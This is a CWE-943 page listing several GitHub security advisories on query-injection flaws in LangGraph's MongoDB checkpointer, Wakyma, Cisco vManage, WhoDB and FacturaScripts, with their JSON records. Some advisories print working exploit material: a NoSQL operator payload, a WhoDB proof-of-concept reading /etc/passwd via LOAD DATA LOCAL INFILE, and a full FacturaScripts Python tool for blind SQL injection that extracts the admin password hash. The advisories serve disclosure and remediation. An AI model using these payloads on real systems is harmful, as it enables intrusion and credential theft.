CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
117 vulnerabilities reference this CWE, most recent first.
GHSA-98XF-R82G-9MHX
Vulnerability from github – Published: 2026-06-12 15:05 – Updated: 2026-06-12 15:05Summary
A NoSQL injection vulnerability existed in MongoDBSaver where checkpoint identifier fields from config.configurable were used in MongoDB queries without strict type enforcement. In vulnerable versions, attacker-controlled object payloads (for example MongoDB operators like $gt and $ne) could be interpreted as query operators instead of literal identifier values.
This could bypass intended thread scoping and return checkpoints from other tenants.
Attack surface
The vulnerable path was in MongoDBSaver.getTuple(), where thread_id, checkpoint_ns, and checkpoint_id were used in MongoDB find() queries. The same unvalidated values were then reused to fetch pending writes.
Applications were exposed when untrusted input was forwarded into config.configurable (for example, directly from request bodies or query parameters) without string coercion or schema validation.
Who is affected?
Applications are vulnerable if they:
- Use
@langchain/langgraph-checkpoint-mongodbwith multi-tenant or user-isolated thread models. - Accept user-controlled values for
thread_id,checkpoint_ns, orcheckpoint_id. - Pass those values into
app.invoke(),app.stream(), or direct saver methods without validation.
Applications are generally not vulnerable if they:
- Use server-issued identifiers only.
- Source
thread_idfrom trusted URL params that remain strings. - Enforce schema validation that rejects non-string identifier fields.
Impact
An attacker with control over configurable checkpoint identifiers could read checkpoint data outside their authorized thread boundary.
Potentially exposed data includes:
- Checkpoint state
- Metadata
- Pending writes
This is a confidentiality issue with cross-tenant data disclosure risk.
Exploit example
An attacker-controlled request can inject MongoDB operators:
graph = new StateGraph(...)
.compile({
checkpointer: new MongoDBSaver()
});
graph.invoke(..., {
configurable: {
"thread_id": { "$gt": "" },
"checkpoint_ns": { "$ne": null }
}
});
If this payload is forwarded into config.configurable, the resulting query may match checkpoints outside the intended tenant/thread scope.
Security hardening changes
Version 1.3.1 hardens @langchain/langgraph-checkpoint-mongodb by adding runtime validation for configurable checkpoint identifiers and rejecting invalid values before MongoDB query/write paths execute.
The patch also includes regression tests covering object/operator payloads across affected methods.
Migration guide
Upgrade to @langchain/langgraph-checkpoint-mongodb@1.3.1 or later.
No API migration is required for valid callers. However, applications that currently pass non-string identifier values in config.configurable will now receive explicit errors and should normalize/validate inputs.
As defense in depth, validate identifier fields at API boundaries and avoid passing raw client objects into graph config.
Resources
- Issue: https://github.com/langchain-ai/langgraphjs/issues/2351
- Fix PR: https://github.com/langchain-ai/langgraphjs/pull/2397
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.0"
},
"package": {
"ecosystem": "npm",
"name": "@langchain/langgraph-checkpoint-mongodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48121"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:05:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA NoSQL injection vulnerability existed in `MongoDBSaver` where checkpoint identifier fields from `config.configurable` were used in MongoDB queries without strict type enforcement. In vulnerable versions, attacker-controlled object payloads (for example MongoDB operators like `$gt` and `$ne`) could be interpreted as query operators instead of literal identifier values.\n\nThis could bypass intended thread scoping and return checkpoints from other tenants.\n\n## Attack surface\n\nThe vulnerable path was in `MongoDBSaver.getTuple()`, where `thread_id`, `checkpoint_ns`, and `checkpoint_id` were used in MongoDB `find()` queries. The same unvalidated values were then reused to fetch pending writes.\n\nApplications were exposed when untrusted input was forwarded into `config.configurable` (for example, directly from request bodies or query parameters) without string coercion or schema validation.\n\n## Who is affected?\n\nApplications are vulnerable if they:\n\n- Use `@langchain/langgraph-checkpoint-mongodb` with multi-tenant or user-isolated thread models.\n- Accept user-controlled values for `thread_id`, `checkpoint_ns`, or `checkpoint_id`.\n- Pass those values into `app.invoke()`, `app.stream()`, or direct saver methods without validation.\n\nApplications are generally not vulnerable if they:\n\n- Use server-issued identifiers only.\n- Source `thread_id` from trusted URL params that remain strings.\n- Enforce schema validation that rejects non-string identifier fields.\n\n## Impact\n\nAn attacker with control over configurable checkpoint identifiers could read checkpoint data outside their authorized thread boundary.\n\nPotentially exposed data includes:\n\n- Checkpoint state\n- Metadata\n- Pending writes\n\nThis is a confidentiality issue with cross-tenant data disclosure risk.\n\n## Exploit example\n\nAn attacker-controlled request can inject MongoDB operators:\n\n```ts\ngraph = new StateGraph(...)\n .compile({\n checkpointer: new MongoDBSaver()\n });\n\ngraph.invoke(..., {\n configurable: { \n \"thread_id\": { \"$gt\": \"\" },\n \"checkpoint_ns\": { \"$ne\": null }\n }\n});\n```\n\nIf this payload is forwarded into `config.configurable`, the resulting query may match checkpoints outside the intended tenant/thread scope.\n\n## Security hardening changes\n\nVersion `1.3.1` hardens `@langchain/langgraph-checkpoint-mongodb` by adding runtime validation for configurable checkpoint identifiers and rejecting invalid values before MongoDB query/write paths execute.\n\nThe patch also includes regression tests covering object/operator payloads across affected methods.\n\n## Migration guide\n\nUpgrade to `@langchain/langgraph-checkpoint-mongodb@1.3.1` or later.\n\nNo API migration is required for valid callers. However, applications that currently pass non-string identifier values in `config.configurable` will now receive explicit errors and should normalize/validate inputs.\n\nAs defense in depth, validate identifier fields at API boundaries and avoid passing raw client objects into graph config.\n\n## Resources\n\n- Issue: https://github.com/langchain-ai/langgraphjs/issues/2351\n- Fix PR: https://github.com/langchain-ai/langgraphjs/pull/2397",
"id": "GHSA-98xf-r82g-9mhx",
"modified": "2026-06-12T15:05:32Z",
"published": "2026-06-12T15:05:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraphjs/security/advisories/GHSA-98xf-r82g-9mhx"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraphjs/issues/2351"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraphjs/pull/2397"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraphjs/commit/284226c7ca164b3c81fe2d9e32b10f1fc6b99a3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langgraphjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangGraph has NoSQL parameter injection in MongoDBSaver, allowing cross-tenant state access"
}
GHSA-9QP5-Q937-CPVV
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-19 21:30Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/pets/print-tags'. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting NoSQL commands, allowing them to list both pets and owner names.
{
"affected": [],
"aliases": [
"CVE-2026-3023"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:45Z",
"severity": "MODERATE"
},
"details": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint \u0027vets.wakyma.com/pets/print-tags\u0027. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting NoSQL commands, allowing them to list both pets and owner names.",
"id": "GHSA-9qp5-q937-cpvv",
"modified": "2026-03-19T21:30:20Z",
"published": "2026-03-16T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3023"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C4V3-RX2M-79PP
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-10-27 19:00A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct cypher query language injection attacks on an affected system. This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-34712"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-23T03:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct cypher query language injection attacks on an affected system. This vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.",
"id": "GHSA-c4v3-rx2m-79pp",
"modified": "2022-10-27T19:00:39Z",
"published": "2022-05-24T19:15:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34712"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sd-wan-jOsuRJCc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C7W4-9WV8-7X7C
Vulnerability from github – Published: 2025-02-06 19:58 – Updated: 2025-02-07 17:35Summary
The application is vulnerable to parameter injection in database connection strings, which allows an attacker to read local files on the machine the application is running on.
Details
The application uses string concatenation to build database connection URIs which are then passed to corresponding libraries responsible for setting up the database connections.
This string concatenation is done unsafely and without escaping or encoding the user input. This allows an user, in many cases, to inject arbitrary parameters into the URI string. These parameters can be potentially dangerous depending on the libraries used.
One of these dangerous parameters is allowAllFiles in the library github.com/go-sql-driver/mysql. Should this be set to true, the library enables running the LOAD DATA LOCAL INFILE query on any file on the host machine (in this case, the machine that WhoDB is running on). Source: https://github.com/go-sql-driver/mysql/blob/7403860363ca112af503b4612568c3096fecb466/infile.go#L128
By injecting &allowAllFiles=true into the connection URI and connecting to any MySQL server (such as an attacker-controlled one), the attacker is able to read local files.
PoC
As this vulnerability does not require sending requests manually and can all be done using the WhoDB UI, screenshots are provided instead of HTTP requests.
For this proof-of-concept, a clean instance of WhoDB and MySQL were set up using podman (docker is a suitable alternative):
podman network create whodb-poc
podman run -d -p 8080:8080 --network whodb-poc docker.io/clidey/whodb
podman run -d --name mysql -e MYSQL_ROOT_PASSWORD=password --network whodb-poc docker.io/mysql:9
The attacker connects to the database via WhoDB. Note that in the Loc field, the string &allowAllFiles=true is inserted:
After connecting, the attacker navigates to the scratchpad in /scratchpad.
The attacker first creates a demo table:
CREATE TABLE poc (
line TEXT
);
The attacker then enables loading files from the server side. For the sake of clarity, do note that while this is required, the file is not being read from the remote server where MySQL is running, but the local machine that WhoDB is running on.
SET GLOBAL local_infile=1;
The attacker then uses the LOAD DATA LOCAL INFILE statement to read the contents of /etc/passwd (in this case from inside the container where WhoDB is running) into the previously created table:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE poc
FIELDS TERMINATED BY '\0'
LINES TERMINATED BY '\n';
The attacker then navigates to the poc table in the Tables view and observes that the file has been read successfully:
Impact
While this proof-of-concept demonstrates local file inclusion, the root cause of the issue is the unsafe construction of database connection URIs from user input. Not all database connector libraries used in WhoDB were inspected; there may be libraries which allow for even more impactful parameters.
The attack requires no user authentication to WhoDB (only authentication to any database server, such as an attacker-controlled one) and no special configuration - the default configuration of the application is vulnerable.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/clidey/whodb/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250127202645-8d67b767e005"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24787"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T19:58:37Z",
"nvd_published_at": "2025-02-06T19:15:20Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe application is vulnerable to parameter injection in database connection strings, which allows an attacker to read local files on the machine the application is running on.\n\n### Details\n\nThe application uses string concatenation to build database connection URIs which are then passed to corresponding libraries responsible for setting up the database connections.\n\nThis string concatenation is done unsafely and without escaping or encoding the user input. This allows an user, in many cases, to inject arbitrary parameters into the URI string. These parameters can be potentially dangerous depending on the libraries used.\n\nOne of these dangerous parameters is `allowAllFiles` in the library `github.com/go-sql-driver/mysql`. Should this be set to `true`, the library enables running the `LOAD DATA LOCAL INFILE` query on any file on the host machine (in this case, the machine that WhoDB is running on). Source: https://github.com/go-sql-driver/mysql/blob/7403860363ca112af503b4612568c3096fecb466/infile.go#L128\n\nBy injecting `\u0026allowAllFiles=true` into the connection URI and connecting to any MySQL server (such as an attacker-controlled one), the attacker is able to read local files.\n\n### PoC\n\nAs this vulnerability does not require sending requests manually and can all be done using the WhoDB UI, screenshots are provided instead of HTTP requests.\n\nFor this proof-of-concept, a clean instance of WhoDB and MySQL were set up using podman (docker is a suitable alternative):\n\n```\npodman network create whodb-poc\npodman run -d -p 8080:8080 --network whodb-poc docker.io/clidey/whodb\npodman run -d --name mysql -e MYSQL_ROOT_PASSWORD=password --network whodb-poc docker.io/mysql:9\n```\n\nThe attacker connects to the database via WhoDB. Note that in the `Loc` field, the string `\u0026allowAllFiles=true` is inserted:\n\n\n\nAfter connecting, the attacker navigates to the scratchpad in `/scratchpad`.\n\nThe attacker first creates a demo table:\n```sql\nCREATE TABLE poc (\n line TEXT\n);\n```\n\nThe attacker then enables loading files from the server side. For the sake of clarity, do note that while this is required, the file is not being read from the remote server where MySQL is running, but the local machine that WhoDB is running on.\n```sql\nSET GLOBAL local_infile=1;\n```\n\nThe attacker then uses the `LOAD DATA LOCAL INFILE` statement to read the contents of `/etc/passwd` (in this case from inside the container where WhoDB is running) into the previously created table:\n```sql\nLOAD DATA LOCAL INFILE \u0027/etc/passwd\u0027\nINTO TABLE poc\nFIELDS TERMINATED BY \u0027\\0\u0027\nLINES TERMINATED BY \u0027\\n\u0027;\n```\n\nThe attacker then navigates to the `poc` table in the _Tables_ view and observes that the file has been read successfully:\n\n\n\n### Impact\n\nWhile this proof-of-concept demonstrates local file inclusion, the root cause of the issue is the unsafe construction of database connection URIs from user input. Not all database connector libraries used in WhoDB were inspected; there may be libraries which allow for even more impactful parameters.\n\nThe attack requires no user authentication to WhoDB (only authentication to any database server, such as an attacker-controlled one) and no special configuration - the default configuration of the application is vulnerable.",
"id": "GHSA-c7w4-9wv8-7x7c",
"modified": "2025-02-07T17:35:21Z",
"published": "2025-02-06T19:58:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/security/advisories/GHSA-c7w4-9wv8-7x7c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24787"
},
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/commit/8d67b767e00552e5eba2b1537179b74bfa662ee1"
},
{
"type": "PACKAGE",
"url": "https://github.com/clidey/whodb"
},
{
"type": "WEB",
"url": "https://github.com/go-sql-driver/mysql/blob/7403860363ca112af503b4612568c3096fecb466/infile.go#L128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WhoDB allows parameter injection in DB connection URIs leading to local file inclusion"
}
GHSA-CJFX-QHWM-HF99
Vulnerability from github – Published: 2026-02-03 18:14 – Updated: 2026-02-04 21:57Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.
Details
The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.
Vulnerable Code Locations
1. Legacy Models:
File: /Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.
2. Modern Models (DbQuery):
File: /Core/DbQuery.php
Method: orderBy()
Lines: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verify Time-Based SQL Injection:
Use the extracted API_KEY in the X-Auth-Token header.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.81"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25513"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20",
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:14:43Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "HIGH"
},
"details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n // If it contains parentheses, it is not escaped (VULNERABILITY!)\n if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n $this-\u003eorderBy[] = $field . \u0027 \u0027 . $order;\n return $this;\n }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po \u0027EditApiKey\\?code=\\K\\d+\u0027 | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po \u0027name=\"apikey\" value=\"\\K[^\"]+\u0027 | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n \"\"\"Extract multireqtoken from any page\"\"\"\n res = session.get(url)\n match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, res.text)\n return match.group(1) if match else None\n\ndef get_api_key():\n \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n \n # 1. Login flow\n token = get_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get initial CSRF token\")\n return None\n \n login_data = {\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD,\n \"action\": \"login\",\n \"multireqtoken\": token\n }\n res = session.post(f\"{BASE_URL}/login\", data=login_data)\n if \"Dashboard\" not in res.text:\n print(\"[!] Login failed!\")\n return None\n print(\"[+] Login successful.\")\n\n # 2. Retrieve API Key ID from settings\n print(\"[*] Accessing API settings...\")\n res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n id_match = re.search(r\u0027EditApiKey\\?code=(\\d+)\u0027, res.text)\n if not id_match:\n print(\"[!] No API keys found in system!\")\n return None\n \n api_id = id_match.group(1)\n \n # 3. Get the actual API key string\n print(f\"[*] Retrieving API key for ID {api_id}...\")\n res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n key_match = re.search(r\u0027name=\"apikey\" value=\"([^\"]+)\"\u0027, res.text)\n if not key_match:\n print(\"[!] Failed to extract API key from page!\")\n return None\n \n return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n headers = {\"X-Auth-Token\": api_key}\n params = {\n \u0027limit\u0027: 1,\n f\u0027sort[{payload}]\u0027: \u0027ASC\u0027\n }\n start = time.time()\n try:\n requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n except 